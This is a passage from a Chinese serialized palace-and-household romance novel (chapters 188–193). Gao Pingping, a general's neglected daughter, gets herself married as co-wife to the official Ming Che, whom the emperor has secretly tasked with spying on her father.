这夜，蔡氏也顾不得什么要不要掌家之权，只一个劲儿地趴在明二怀里哭，把明二的心都哭软了。 明二一边承诺绝不再犯，一边心道，“明三头这小子果然有两下子，以后还得同他取取经！” 忙于哄得明二高兴的蔡氏暂且不去理会什么当家主母了，她只求明二别将那汪氏真的弄进来作妾，明二也暂且过上了人生得意须尽欢的日子。 在床上懒了几日的姜小满准备出趟门活动活动筋骨，她要去香积寺为腹中孩儿祈福。 “茉心，今日怎得这么多人？”甫一来到香积寺，姜小满便看到无数的人头攒动。 “夫人，奴婢打听清楚了，今儿恰好赶上庙会，据说这日祈福最是灵验呢！”茉心很开心能凑上这个热闹。 姜小满却是有些后悔，自有孕以来身子越发不适，今儿好不容易来上个香居然赶上了庙会。来都来了，只能硬着头皮上。 香积寺姜小满已然来了多次，但今日从山门走到殿前姜小满却生生歇了三次脚，等上完香已然是晌午了。 茉心：“夫人，晌午了，我们就在庙里用些斋饭如何？别将肚子里的小主子饿坏了！马车上虽备了茶点，但要走下山才能拿——” 第188章 高萍萍 “好！”腹中空空的姜小满环顾四周，除了在寺庙吃些斋饭别无选择，她着实没有力气空着肚子下山了。 当斋饭上桌后，姜小满迫不及待开动起来，然饭粒入口姜小满却觉得粗砾难以下咽。 这胃还真是不经惯，才吃了几日饱饭竟然就吃不惯这粗砾的米了？姜小满不信这个邪，她从小在承恩侯府是吃下等米粮长大的，怎得今儿就这么娇贵了？ 只是米饭入口，姜小满便觉胃里隐隐的翻江倒海，为了不让自己当场吐在这个餐桌上，姜小满终究将筷子搁置了。 “夫人，您不再用些了吗？”茉心关切道。 姜小满：“你吃你的，我等会儿下山吃些糕饼好了——” 姜小满话音方落便听得同桌进食的一女子不客气道，“最讨厌你们这些矫情的贵妇人，浪费粮食暴殄天物。” 那女子白了姜小满一眼后，便如同示威般对着饭碗狼吞虎咽起来。 你谁啊？我认识你吗？姜小满抬眸本想反驳几句，但见那女子衣衫单薄，甚至还打了几个补丁，便没有开口。 想来这也是穷苦人家的姑娘，挨饿挨惯了的，见不惯浪费粮食是人之常情。 “我说你谁啊？关你什么事儿啊？竟敢这样同我们夫人讲话！”茉心护主心切道。 “你管我事谁？谁浪费粮食我就瞧不惯谁？”那女子竟然站了起来，一边扒拉着碗里的饭食，一边单脚撑了凳子怒视着茉心。 “嘿——真是多管闲事多吃屁！”茉心挽了挽袖子准备干上一架。 “茉心，莫要惹是生非！我饿了！”姜小满提醒茉心填饱她的肚子才是第一要务。 那女子狠狠地挖了一眼复坐了回去道，“矫情！” “好了，茉心！这位小娘子所言极是，浪费粮食的确是我不对！”姜小满示意茉心赶紧下山要紧。 那女子瞅了眼小满，用难以置信地眼神道，“你这娇滴滴的夫人敢承认自己不对倒是让我刮目相看啊——” 好不容易下了山，胡乱啃了些茶饼的姜小满终于好受些了。 马车悠悠往回赶，姜小满掀帘贪看窗外的风光，却有一道熟悉的身影闪入了眼帘。 姜小满：“茉心，你快看！那是不是方才同我们同席而坐的女子？” 茉心：“还真是？这光天化日之下的他们在干什么？” 马车悠悠路过，二人从掀起的车窗外竟然看到有两个壮汉似乎想对方才那女子图谋不轨，然身边络绎的车马却没一辆停下来的。 “停！”姜小满叫停了车夫。 因着怀有身孕，姜小满此次出行便多带了两名随从，想来以他们的实力去救那女子应当不是难事。 那女子身旁图谋不轨的两名壮汉见是官眷的车马停了下来便也落荒而逃了，他们主子交待的是将人带走再毁其清白，既然人一时带不走便不节外生枝了。 那女子随茉心来到车马前，躬身行礼道，“多谢夫人救命之恩！方才在庙里是我失礼莽撞了，没曾想夫人竟是大义之人！” “知道就好！方才真真是不想救你！”茉心扬着下巴咬牙切齿道。 “好了！”姜小满眼神示意茉心不许无礼后，又瞅了眼那女子道，“小娘子怎敢一人进山，且没有车驾吗？” “没有，我是走着来的！等天黑便能回去了！”那女子摆摆手道。 “哦——小娘子拜佛倒是颇有诚意，想来佛祖定会保佑小娘子的！”姜小满第一次见条件如此艰难依旧要来祈福的。 “嗨，这不是碰到事儿了吗？不说那些不开心，敢问夫人去哪里，可否捎我一程啊？”那女子毫不客气道。 “你还真是得寸进尺——”茉心愤愤道，然话音未落那女子便上了马车。 “我也不是谁的马车都坐的！我叫高萍萍，萍水相逢的萍，不知夫人是哪家的官眷？” 高萍萍？ 姜小满忆起今早的秘闻：【高贵妃伤了身子后，高家欲送庶女高萍萍入宫。】 这个姑娘也叫高萍萍，不过这世上同名同姓者不知凡己，再看着姑娘的粗布麻衣，想来应当不是同一人—— “我家夫人是内阁明大人的家眷！”茉心道。 “内阁明大人，可是那位丰神俊朗的探花郎？”高萍萍定睛瞧了瞧，又道，“夫人和那探花郎倒是匹配得很！” “你这人好生无礼，坐着我家的车竟然敢对我家夫人评头论足？”茉心觉得这女子甚是讨人嫌。 “失礼失礼！”高萍萍抱拳表示自己乡野村姑野惯了的。 ...... 三日后，皇宫，上书房。 明澈等文官正在偏殿候着，随时等候皇帝召唤。 “李大监，请问高将军是否出来了？我等已然等了一个时辰了？”一吏部官员小心询问道。 他们侯在此处都是有要事相商的，但上书房里却被那高将军占了足足一个时辰。 “大人们稍后，想来是高将军有要事相商——”李大监话音未落便有宫人传话说他们可以进去了。 明澈等人整束衣冠推门而入时，却见殿内不止高将军一人，旁侧还立着一位精心雕琢略带着英气的女子。 明澈等人拜见后，皇帝却并未同他们议事，依旧望着高将军道，“我们方才说到哪儿了？” “哦，说到道士批卦，说臣之小女天生贵相，是罕见的旺夫之相，将来亦可诞下贵子——”高将军已然在上书房明里暗里说了多次，但皇帝却并未开口要将高将军的小女纳入后宫。 “对对对！欸？”皇帝好似不经意间望了一眼下首的十来个文官，忽得像想起什么一样道，“这些可都是两榜进士，国之栋梁！倘若高将军的小女能嫁入这些人的府上，岂不是相宜？” 听闻此句那高将军虽然心中不悦，但亦不好发作，他总不能说他女儿非皇帝不嫁，就是上赶着要入宫为妃，替皇帝生孩子的！ 底下的文官们却是心下大动，一则很明显皇帝不喜那女子，他们得帮皇帝圆了这个场，二则听那高将军说这女子旺夫，迎回家去定然是极好的。 高将军：“但，但大人们想来都有妻室，我这女儿年纪还小！” 第189章 平妻 “陈爱卿、赵爱卿，朕记得你们尚未娶妻？还有周爱卿，你还未续弦？” 皇帝一一点着，那高将军的脸上已然是一阵红一阵白，他朝自己女儿频频使着眼色，提醒女儿现在只能靠她自己了，得她站出来说不喜欢这些大人们，只想入宫伺候皇上才行啊！ 那高小姐向前一步，盈盈拜下道，“敢问陛下可是要为小女赐婚？只要小女选中了下面任何一位大人都可以吗？” 听到这高家女儿动了要嫁臣子为妻的心思，皇帝暗暗松了一口气，只要不入宫就好，他并不想要高家女儿所出的子嗣。 “自然！朕金口玉言，难不成还能哄你个小娘子不成！” “那臣女可否嫁这位大人为妻？”高萍萍指向了明澈。 明澈早已有了家事，本以为这件事与他无关，正出神神游呢，猛地看到那女子指向了自己，立马上前道，“微臣早已娶妻，是微臣没有福气。” “是啊，明爱卿家有贤妻，不如高小姐另择良婿如何？”皇帝虽说不想要这高姓的女子，但也没想为难明澈，明澈在殿内不过是一摆设的作用而已。 正当殿内所有人皆以为那高小姐定然会另择良婿时，那高小姐竟然道，“陛下，方才您答应小女可在殿内所有大人间选择一人，想来陛下金口玉言自然不会哄我这个小女子，即便明大人已有家室，臣女亦愿意入府为平妻，同明夫人共侍一夫，无分大小！” 听闻此言的高将军已然颜面扫地，做不了皇妃就罢了，还非要上赶着找一个有妇之夫，真真是丢了他高家的脸。 但碍于上首的那位，高大人只得频频给高萍萍丢去愤怒的眼色。 “朕说过的话自然算数，只是高小姐你确定想好了？” 此刻的皇帝觉得他为大顺朝付出了很多，尤其是登基后纳了不少功臣女眷为后宫，其中的苦与乐只有他自己心里清楚。 这明澈往大了说是食君之禄为君分忧，往小了说便是同为兄弟，有些苦都得尝尝才可。 “臣女叩谢陛下天恩！”高萍萍叩首这婚事就算成了。 这婚事甚至都没有明澈同意不同意的权利，他只等着接旨便好了。 ...... 当明澈将赐婚的圣旨拿回明府时，姜小满气得冒烟。 好歹是有着看他爬墙头的情谊，这皇帝怎能如此狠心，这让她姜小满的日子还怎么过？ 平妻，还有赐婚的圣旨！ “娘子，你莫要动了胎气，我也没有法子，莫非是你夫君我长得的确是太过俊朗了？”明澈也不知那高小姐怎就看上了自己。 然赐婚圣旨已下，明府只能尽快准备迎接新人。 十一月初六，新人入府。 新婚夜，姜小满躺在榻上尽量不让自己去想那边的洞房花烛。 “莫生气，莫生气，不囿于情爱，他明澈爱娶几个娶几个——”姜小满这样劝着自己时，房门开启了。 两个穿着喜服的人儿冲了进来。 那走在前面的女子兴奋道，“是我啊，姐姐！你不认识我了，我高萍萍啊！” 姜小满扶额定睛瞧了瞧那女子的容貌，的确是那日的高萍萍，再结合之前看过的秘闻高家女儿高萍萍，姜小满终于反应过来了，“是你啊！你就是那高大人的小女——” 姜小满不知这高家女儿为何那日还粗布麻衣，今日便能让皇帝赐婚了？ “姐姐，既然成了一家人那我就不瞒你了！我并不想入宫替高家和长姐生孩子，那日在上书房看到明探花，你不知我有多开心了！” “当时我便想，这帮大人没个顺眼的，我若给明探花做了老婆那岂不是能和姐姐成一家人了！” 那高萍萍手舞足蹈地说着，姜小满真想谢谢她，原来这门亲事还是她招来的？ 那高萍萍说完便将穿着喜服的明澈向前推了一步道，“姐姐，我只是想找个地方待着，不是来真的给明大人当老婆的！我先回房了——” 说完便一溜烟儿跑了。 她这是将明府当什么了？避难所？宫里不好，别的大人家不好，就明府好！ “娘子，不幸中的万幸啊！她方才已经威胁过我了，不许再进她的房间，脏了她的地界儿——”明澈悠悠道。 这都什么事儿啊？姜小满也有些懵圈了。 一晃月余，让姜小满没有想到的是那高萍萍入府后竟然同明二头的媳妇翠姑关系不错。 “夫人，萍夫人昨儿和二夫人一起将那些花草包裹了过冬，又赏了半天将开未开的梅花，这大冷天儿的硬是累出了一头汗呢—”茉心转述着她的所见所闻。 “奴婢倒是觉得那萍夫人是真心喜欢侍弄花草，二夫人嘛—”一旁看账本的茉莉摇摇头。 那二夫人翠姑在老家时就一直对侍弄花草无感，如今却能顶着寒风帮着花木过冬？ “奴婢觉得，那二夫人就是想巴结萍夫人—” 姜小满不置可否，这府里谁巴结谁，谁与谁交好都与她无关，过好自己的日子比什么都要紧。 “姐姐—” 说曹操曹操就到，高萍萍捧了一支绿梅进来道，“梅园的绿梅开了，我特意折了一支给姐姐送来。” 姜小满欢喜地接过绿梅闻了闻道，“好香啊！托你的福今儿我这屋子里用不着焚香了。” “大嫂安好！”跟在高萍萍后面进来的翠姑道，“萍夫人心里眼里都有大嫂—” 姜小满从翠姑的言语中嗅到了一丝酸味儿。 自上次二人面对面路过，互相都未打招呼后，那翠姑便再未与小满交好，本着多一事不如少一事的原则，姜小满决定不去招惹这个心如针尖儿的女人。 姜小满：“哪里话，我瞧着萍妹妹与弟妹倒是颇为谈得来，听闻你二人日日侍弄花草，想来来年春日我们这明府便要成百花园了？” “是啊，我从小就喜欢与草木为伴，没想到二夫人也是如此，真真是知音难觅啊！”高萍萍爽朗道。 听到高萍萍言语间好似同自己交好，那翠姑欢喜地扬了扬下巴道，“弄弄花木心情都不一样了呢——” “姐姐，你肚子里的孩儿将来唤我做什么？是不是也唤我母亲？”高萍萍看着姜小满微微隆起的肚子颇为欣喜道。 第190章 心悦那人 这高萍萍是明澈的平妻，姜小满略一思索便只得道一声，“那是自然——” 翠姑瞧着二人好似关系不错的样子，不禁有些匪夷所思，按理说这两人共侍一夫，不该如此才对？她翠姑好不容易在这明府有了交好之人，万不能再放任两人如此亲近了！ 几人说笑了一会儿，高萍萍便与翠姑相携出了蘅泽苑。 翠姑对高萍萍关心道，“萍夫人，我瞧着你是真心喜欢明夫人肚子里的孩儿？” “那是自然！我以后还要靠着这孩儿养老呢，将来他也得叫我母亲！”高萍萍想到一个孩儿脆生生叫自己母亲眼眸中满是星星。 “萍夫人错了！这孩子还得自己亲生的方好，你也是我家大哥的妻子，日后自然会有自己的孩儿了！”翠姑劝道。 听到翠姑真心替自己着想，高萍萍定定瞧着翠姑道，“自入了这明府就你对我最好，我早已将你当成了朋友，实话和你说吧，我不想生孩子！” “不想生孩子？”翠姑难以置信道。 高萍萍：“是啊，我娘是我爹的妾室，就是因为生孩子没了的！我一落地就没了亲娘，我那可怜的娘早早去了，留下我在这世上受苦！我自小就没有亲娘庇护，嫡母说我克母，从小将我送去庄子里贱养，连饭都吃不饱！” “前些时候我爹动了送我入宫的念头，为的就是让我入宫替我长姐高贵妃生孩子！我那嫡母和长姐是什么人？我若进了宫，生下孩子后便是死路一条！” 翠姑：“所以你便选了来我们明家是吗？” “对啊！你们明家多好，当家的夫人不仅和善还有了身孕，我就像个摆设一般待在明家，不用亲自生孩子丧命，老了还有孩儿孝顺，美不美？”高萍萍觉得在她爹要急着把她献给皇帝的情况下，她已然做了最好的选择。 “也是！”翠姑没想到这高萍萍竟然是这般盘算的，那可不是要同姜小满好的穿一条裤子了。 翠姑顿了几息，有些不甘心道，“话虽如此，但世上之事不可光看表象，我那位大嫂可不是个好相与的！” 高萍萍：“不会吧？” 与高萍萍相处这段时日以来，翠姑已然看出那高萍萍虽然心无城府，爽朗肆意，但却是个耳根子软的，于是凑近道，“以前府里有位琥珀姨娘，还生了我大哥的长子，一夜之间大人孩子都消失了——” “要我说你既然已经嫁人明家，这是没有办法的事，但是这明府不是东风压倒西风，就是西风压倒东风，你得获得我大哥的青眼，这才是重中之重啊！” 听着翠姑的肺腑之言，高萍萍自然觉得有些道理，但她之所以选择入明府，那便是打着逍遥自在的目的，不是为了和女人争宠的呀？ 她高萍萍生来就被扔在乡野，一朝被接回京中不过是为了做长姐的肚子，如今靠着自己灵机一动争取来了这好日子，不但逍遥快活而且再不用考虑日后去哪里安身立命的问题，高萍萍觉得入明府的这段时日便是她这辈子最快活的时日，她当真需要丈夫的宠爱吗？ 高萍萍不置可否，又同翠姑说了些别的，二人便各自散去了。 自那以后，高萍萍的日子依旧，每日都要入蘅泽苑同小满说笑一阵，之后便同翠姑一道侍弄花草，不同的是高萍萍不受控制般每日总是酉时踏入蘅泽苑。 这日，高萍萍入内便照常嘻嘻哈哈一阵，说笑间眸光在蘅泽苑扫了一圈道，“今日怎得没见老爷？今儿未下值吗？” 高萍萍说得随意，姜小满也答得随意，“他今儿和同僚一道吃酒，怕是晚些时候才能回来！” “哦！”高萍萍又故作不经意地聊了些别的。 待出了蘅泽苑，高萍萍满心的失望一股脑儿地涌了上来，她不明白自己今日为何如此失落，难不成是没有见到那个人？ 就是这样！ 高萍萍不得不承认她每日来蘅泽苑是为了什么？渐渐地她好似已然心悦了那个人！ 那个玉树临风、丰神俊朗的同竹节一般的探花郞！ 次日，高萍萍同她的好闺蜜翠姑谈心，“翠姑，你说夫人对我不错，我若是做了什么对不起她的事情岂不是不识好歹？” “对不起她的事儿？”翠姑会意眸中迸出光彩，“你是说你与大哥已经？” “没有，没有！”高萍萍连连摆手道，“我只是觉得现在能过上这踏踏实实的日子皆是因为进了明府，而我进府很大一部分是因为夫人救过我！” 翠姑将祈福遇险被姜小满所救，正是因为看重姜小满仁善才选择进入明府！倘若自己因为旁人的恩义而在人家夫妻间横插一脚的话岂不是恩将仇报？她高萍萍入府只是想图个安生日子，并不想做那样的人！ “哎呀！你这想法可就错了！”翠姑连连纠正道，“既然已经入了府，那我大哥就是你的丈夫，你可不是平白在惦记别人家男人，你惦记的是自己家相公好吗？” 翠姑怕高萍萍听不进去，继续苦劝道，“人都要为自己打算，你若没有相公的疼爱，没有自己的子嗣，将来靠谁？谁又是能靠得住呢！再者说，男人都一样！眼下那姜小满的身子越来越重了，按道理大哥是要纳妾的，既要纳妾，何不成全了你？” 高萍萍点点头，她一时还想不通。 高萍萍虽想不通，有人却是想通了。 这日，明澈瞧着小满渐渐隆起的肚子，欣喜之余却是频频摇头，“孩子呀，你赶紧出来啊！你爹遵医嘱，为了你牺牲可太大了！” 姜小满会意嗔了他一眼道，“不如你去梅香居？” 梅香居便是高萍萍的居所，姜小满此话并非随口而来。 最难掩藏的便是爱意，这些时日，姜小满已然察觉高萍萍渐渐对明澈生了情愫，那是明澈的平妻，她自己又有了身孕，照这个时代的规矩，明澈去高萍萍房里是理所应当的！ 但姜小满是有着现代思维的，做不出将自己相公推到别人房中的贤惠摸样！孩子是他们两人的，她姜小满千辛万苦地孕育孩儿，孩子他爹却自己逍遥快活，没有的事儿？ 第191章 被打出去了 姜小满已然打定主意，问是要问的，倘若明澈真的要去梅香居她也不会阻拦，但是日后就莫要再登她的门了！ “我若真去了梅香居也是迫不得已，毕竟是陛下赐婚，娘子你切勿动气——”明澈是真的预备去梅香居了。 虽说娶高萍萍非明澈所愿，但既然已经娶了便是身不由己。 这几日皇帝总是有一搭没一搭地同明澈聊起与家里这位平妻相处的如何，在得知明澈依旧守身如铁后，皇帝便坦言道，“既然是你娶了那高家女儿，那便是你的命！且舍小家顾大家吧！” 明澈深知皇帝这是话里有话，于是便道，“臣愚钝，请陛下明示。” 皇帝拍一拍明澈的背道，“你如今也算是那高家的女婿了，从明儿开始我会让言官弹劾于你，还有你那岳父高将军，你最好同他女儿亲亲热热的，方能与你那岳父一条心啊！” 明澈脊背有些发凉，皇帝这是要明澈通过高萍萍来取得高将军的信任。 皇帝也并未让他狐疑太久，直截了当道，“朕会一步步激怒他，而你要做的便是取得他的信任——” 明澈了然，皇帝这是嫌高将军功高震主了！也难怪，既然那高将军当日能大开城门迎羽王入宫，以后便能迎其他人入宫。如此，上位者又怎么睡得着呢？ 既是君命，明澈只能遵从，从今儿起他便不得不同高萍萍走近些了，只是事关重大他不能对小满讲这些，只能胡乱编些东西，尽量别让她太过郁气了才好。 “言之有理，毕竟是陛下赐婚，你去吧！”姜小满听闻明澈本就打算去梅香居，先是有些吃惊，随后便换了一副随便的表情。 她能怎么办？难不成让她哭爹喊娘地抱着明澈的大腿别让他走吗？只是心内涌动的失望已然浮了起来。想当年琥珀入府，明澈从未有主动去她房中的念头，难不成明澈亦是势力之辈，眼瞧着那高萍萍家世甚好？ 或者说是因为自己有孕，他厌倦了自给自足的日子？ 无论是何原因，明澈瞧了她一眼，竟然大摇大摆向梅香居方向去了！望着明澈远去的背影，姜小满忽觉她这个枕边人如此陌生—— 梅香居。 丫鬟们正照例伺候高萍萍盥洗，看到明澈后均是惊喜不已，“老爷快请！萍夫人一直盼着您来呢！” “谁盼着他来了？别胡说八道！”高萍萍极力否认，然小麦色的脸颊已然染了一圈绯色。 “夫——人！”明澈不知该如何称呼高萍萍，他向来管小满叫娘子，他觉得娘子这一称呼只能留给小满，于是便僵硬地道了声夫人。 “你叫我萍萍就好了，或者连名带姓儿的叫我高萍萍！”高萍萍瞧着明澈入了内室，虽说内心有一丝的喜色，然她是一个有原则的人，说了来明府只为找个安身立命的地方那就是如此，绝不是来和她的恩人抢相公的。 高萍萍虽说偶尔也动一丝的杂念在明澈身上，但到目前为止她依旧要守住自己的诺言。 明澈：“那，那我今夜能和你睡吗？” 这一句出口，直接将高萍萍气个半死，连句好话都不会说，上来就要睡？把她高萍萍当什么了！枉她还一直将明澈当个正人君子，真真是气煞人也！ “睡什么睡？来人，给我打出去！”高萍萍气得一边找棍子，一边道，“我姐姐那么好的人儿，你不体量她孕中辛苦，却要睡——” “我让你睡！让你睡！睡你个大头鬼，睡你奶奶的腿儿！” 明澈被打的吱哇乱叫，心中却是窃喜：“这可不怪我啊，是这高萍萍将我打出去的！等明儿见了陛下也有个好说法，不是我不努力，实在是人家不要我！” 方才那句无理之言是明澈故意的，从他这些天的观察来看，高萍萍定然不是能受辱的那种，只要他出言不逊定然要被撵出来，如此以来，明澈的目的就达到了！ 只是，明澈没想到这高萍萍竟然如此凶悍，还动了笤帚！ “啊——别打了——” 随着明澈故意大声的吱哇乱叫，满院子的丫鬟惊得目瞪口呆，她们夫人居然将老爷打出去了，这这这！ 明澈已然被打的窜出梅香居百米远，那高萍萍依旧气呼呼立在门口道，“果然男人没一个好东西！” “萍夫人，门口风大，仔细着了风，咱们回去吧。”丫鬟无奈劝道。 高萍萍却是望着明澈消失的背影久久不能平静，心里好像有个声音一直在说，“你傻啊，高萍萍，这一天你等了多久了！” 夜里，高萍萍迷迷糊糊间，仿佛看到明澈并未离开梅香居，而是躺在了她的身侧。 她感受到明澈炙热的唇，感受到他热切的拥抱，正准备再进一步时，有个模糊的自称是她娘的女人指着她的鼻子道，“不长记性！男人都一样，你也想和娘一样吗？” 梦里的高萍萍急急摇头，“不，娘！我就是想安安稳稳过一辈子，我不要夫君，不要生孩子——” 高萍萍话音未落，便听得姜小满在反驳：“忘恩负义之徒！我救了你，你却上赶着来我给相公当平妻，有你这样恩将仇报的吗？你这样的女人活该难产而亡！” “不是！不是的！”高萍萍捂着耳朵从床上坐起，抬眸望了眼窗外，堪堪三更，是做梦了。 话说从梅香居被打出来的明澈也没进到蘅泽苑，值夜的丫鬟声称夫人已然入睡，不能打扰。 翌日，在书房凑合一宿的明澈顶着熊猫眼儿上朝了！ 这日早朝，主打的就是一个批判局，弹劾的折子有一多半是针对高将军，一小半是针对明澈。 众人顿悟这明澈虽然之前得陛下青眼，但眼下已然成了高将军的贵婿，言官们自然是将二人看做一体了！ 面对言官的弹劾，皇帝虽说并未深究，却是派了一名监军到了高将军的军队，这让那高将军比直接挨了斥责还要难受。 朝会后，皇帝单独召见高将军与明澈入上书房议事。 去往上书房的路上，明澈殷勤地喊了许多遍“岳父大人”，直喊得那高将军动容。 第192章 功高震主 高将军本对明澈这个便宜女婿不感兴趣，因此也从未将他看做女婿，毕竟那庶女不过是个平妻。 但今日这便宜女婿不但讨巧卖乖，而且受他牵连挡了不少弹劾！也罢，既然女儿已经给他了，在百官看来他们便是不可分割的翁婿二人！ 待二人整束衣冠进了上书房时，皇帝抬眸便看到了明澈脖颈处的伤痕，“这京城的治安已经坏到这个地步了，明爱卿堂堂二品大学士可是被人揍了？” 明澈：“回陛下，京城自是福地，微臣这伤不过是内宅中的私事，劳陛下挂心了！” 皇帝眼眸未抬，翻动折子道，“哦！被夫人揍了！” 一旁的高将军听闻此句忽得提起了神，他想都未想便知晓是他那女儿打的！放眼整个京都，除了他那如野马般肆意的女儿，还有谁能干出这事儿！ 见明澈默认，皇帝便看向高将军兴味道，“高爱卿两个女儿当真很不一样呢？” “是臣教女无方！”高将军连连拱手。 接着皇帝先是唤明澈起草了两封不太重要的小诏，又寻了个由头将两人训斥了一番便遣二人暂且离去。 “哎！”回程路上高将军频频叹气，感慨君心之凉薄。 明澈跟随左右好言安慰，那高将军轻抚明澈肩背却听得明澈一声痛呼。 高将军会意，便怒道，“那不成器的东西，嫁出去也不让人省心，可是她打的？” 明澈听闻此句，便如受了委屈的孩子般将袖口撸了起来道，“岳父，想来是小婿无能入不了夫人的眼，无妨的无妨的——” 那高将军看了看明澈的伤痕，又想到这女婿一大早被自己连累到屡遭训斥弹劾，便拍了拍明澈的肩道，“这月十六，你祖母过寿，到时候同萍萍一道回来——” 明澈欣喜拱手，他这是正式打入高家内部了。 话说姜小满晨起便听茉心说了明澈昨夜被打出梅香居的事儿，小满暗道，“高萍萍这姑娘还真是有趣！” 谁知，紧接着便看到秘闻：【今日高将军被弹劾皆是皇帝授意，皇帝欲要打压功高震主的高家。】 皇帝要打压高家？如何打压？君心难测，简单打压二字很有可能就是整个家族的覆灭。 姜小满尤记得当年季家被抄时，可是株了三族的！如今这高家女儿是明澈的平妻，若是高家犯事，明澈少不得要被牵连？ 明澈下值后，姜小满着急想提醒明澈与高家保持距离，届时高家若真出了事，平日里二家走动并不那么频繁，而高萍萍又只是个平妻，应当不会影响太多？ 但明澈却告诉她，“娘子，你多虑了！陛下乃一代明主，断然不会干那种飞鸟尽良弓藏的事儿！这个月十六是高家祖母的寿辰，我还准备去一趟呢！” 明澈不知整日在内宅的小满怎得能判断陛下要打压高家这样的事儿？今早虽有言官弹劾高将军，但那些折子全被皇帝压了下来。 皇帝此举，在朝臣看来那是信任与恩宠！ 瞧着小满隆起的肚子，明澈温言道，“你安心养胎，莫要思虑太甚！” 明澈将小满的消息灵通归结为思虑太甚，他既不能将皇帝的真正意图告知小满，亦不希望小满知道过多朝堂之事，他只希望小满能好好地养胎。 听到明澈要去高府赴宴，小满急道，“不许去！你非要同高家走得如此之近吗？” 此话落在明澈的耳中，还道是小满还在为昨晚自己去了梅香居的事儿生气，明澈将茶盏递于小满道，“娘子，我并非那拜高踩低之人，岳母那里我也会常去的——” 姜小满气急，这明澈竟然以为自己是在攀比，生气他不去看自己的母亲？这明澈平日里灵光得很，如今却是怎么都说不清楚，莫非？ 姜小满想明白了，他是故意的！ 他定然是对那高萍萍已然动心，所以上赶着要去新岳家表现呢？思及此处，姜小满颇有些伤心道，“听闻你昨儿被打出来了？怎得，今日还去吗？” “不去了！”明澈斩钉截铁道。 昨儿才被打出来，这个由头在皇帝那里也许能多耗些时日—— 正值此时，茉心掀帘道，“萍夫人过来了！” 因着昨日的闹剧，明澈以为这高萍萍近几日都不想看到他了，没曾想竟然来得这样快？ “姐姐！我来看看你！”高萍萍正眼都未瞧那身侧之人。 “那个，夫——高将军说这个月十六是你祖母的寿辰，要我同你回府一同贺寿。”明澈将高将军之言转告高萍萍，亦算是同她打过招呼了。 只是有小满在，明澈更不知该如何称呼高萍萍，连那僵硬的夫人二字也无法说出口。 “你陪我给祖母贺寿？”高萍萍难以置信地瞧着明澈。 高萍萍自落地就被扔在庄子里贱养，这么多年来整个高家除了祖母外无一人牵挂她。从前也就是祖母借着暑热去乡下庄子里避暑时才偷偷将她接出来松快几日。 那年村里闹饥荒，也是祖母探听得到才堪堪救了她的小命。 在高萍萍的记忆里，祖母慈爱但怯懦，同她说的最多一句话便是，“千万不要同你母亲说！” 祖母不过是高将军父亲的续弦，家世不显，为人又怯懦，高萍萍明白，祖母在高家也不过是在那嫡母沈氏的手里讨生活罢了。 明澈：“是啊，高将军下朝时同我说的。” 替祖母庆贺生辰本就是高萍萍早就惦记的事，这次竟然要明澈陪她回府，自这日起高萍萍心中便有了隐隐的期待。 她期待着带着自己的如意郎君去给自己最亲的祖母祝寿。 这明府在西城，而将军府在南城，届时她定然会同明澈共乘一辆马车，那时马车里只有他二人，路上晃晃悠悠要大半个时辰，他们该聊些什么呢？ 这可不是她非要和那明澈单独呆在一起的，而是必须要同乘一辆车回府！最好车厢狭小一些—— 这晚高萍萍又做梦了！ 梦里，她与明澈挤在一辆窄到只能堪堪容两人的马车里，随着马车的颠簸，明澈不得不搂紧了她。而她则坦然地感受着明澈炙热的拥抱并且大声对梦里的姜小满说：“不是我要与他这么近，我才不稀罕呢，实在是马车太挤了，我也没办法呀！” 第193章 密室 这月十六，高家祖母的寿辰如期而至。 明澈对着铜镜整肃衣冠，姜小满忽得来了一句：“我也要去！” “别啊！”明澈脱口而出。 他今日入高府是有任务在身的，免不得要与那高萍萍演一出戏，若是当着小满的面明澈怕自己演不好。 姜小满：“我怎得不能去？论理说我也应当一同前往才符合规矩的！” 姜小没是正妻，她的确应当同去，方能显得明府一派和谐。 明澈：“我只是担忧高府人多，怕娘子你受累——” 明澈的话音未落，姜小满已然准备梳妆。 其实她也不想去凑热闹，只是方才看到了秘闻：【皇帝指派明澈于高家老夫人寿辰找到高将军同反贼的秘信往来，而那些秘信便藏于高将军书房的暗室之内。】 姜小满不知该如何同明澈解释，想着还是亲自去一趟的好，况且整日在府里躺着也着实是乏味，久未出门的姜小满想要去凑凑热闹。 既如此，明澈只得带着小满去找高萍萍了。 高萍萍一早便在二门外等着明澈，今日她特意穿了一身红色的襦裙，为祖母庆贺要喜庆一些，不知明澈是否喜欢这些艳丽的颜色？ 当高萍萍看到明澈同小满一道过来时，眸中闪过一抹失意，但很快便爽朗道，“姐姐，我祖母若是看到姐姐定然也欢喜得很！” 马车辘辘而行，姜小满同高萍萍坐于车厢内，明澈索性坐在了外面的车辕子上，这与高萍萍想象的很不一样。 待入了高府，三人拜见过主家便入了席。 宴席过半，明澈便准备开启他的任务，他本想着让高萍萍带着他在高将军平日办公议事的地方先找上一圈，但又不放心小满一个人待在这里。 眼看着众人已然酒过三巡不能再耽搁了，明澈便对二人道，“我不甚酒力，要去厢房歇息一下。” “你喝多了吗？真是没用——”高萍萍本想说喝多了带明澈去躺一会儿，但出口竟变成了这样。 三人离席后，姜萍萍为了显得她并不稀罕明澈，于是不远不近地跟着二人。 姜小满道，“我也累了，那是哪里，不如去那里休息一下？” 看到姜小满指错了方向，高萍萍上前几步道，“厢房在西边，那里是我爹的书房！” 听到书房二字的明澈，眼眸都亮了，他原本就是想找书房的，想来这些机密的文件应当会搁置在书房之中。 “不要扶我，我没醉——”明澈预备从现在开始演上了。 看到方才还清醒，突然之间就醉了明澈，高萍萍再次感慨这书生真真是最没用的东西，不过许是她高府的酒太过烈性，后劲儿颇足之过？ “姐姐，我来扶他！”高萍萍示意有孕的姜小满靠边站，这酒鬼由她来扶。 然高萍萍力气再大也是一个小女子，竟被八尺的明澈东倒西歪拽着一路朝书房而去。 姜小满紧走几步，支开了书房门口的小厮让其帮自己寻一下掉落的耳环，明澈便趁机进入倒在了书房之内。 “快走呀，这里是我爹的书房，不能在这里睡呀！”高萍萍拉扯着明澈。 明澈一边假意干呕，一边踉跄着在案几上偷瞄，姜小满则是在巡视着这书房的密室到底在哪里？ 明澈误打误撞间差点碰到一块如碗口大的宝石，吓得高萍萍直叫，“别动那个，那石头可是我爹的宝贝，我上次同爹在书房谈话就因为碰了这玩意儿，差点让我爹一刀砍了——” 这么宝贝吗？姜小满几乎确定这便是暗室的机关！果真，姜小满轻轻转动那块宝石，明澈和高萍萍便直直被博古架撵进了一个黑乎乎的空间。 与此同时，姜小满听到门口的动静，想来是看门的小厮要回来了，只得先行退出了书房。 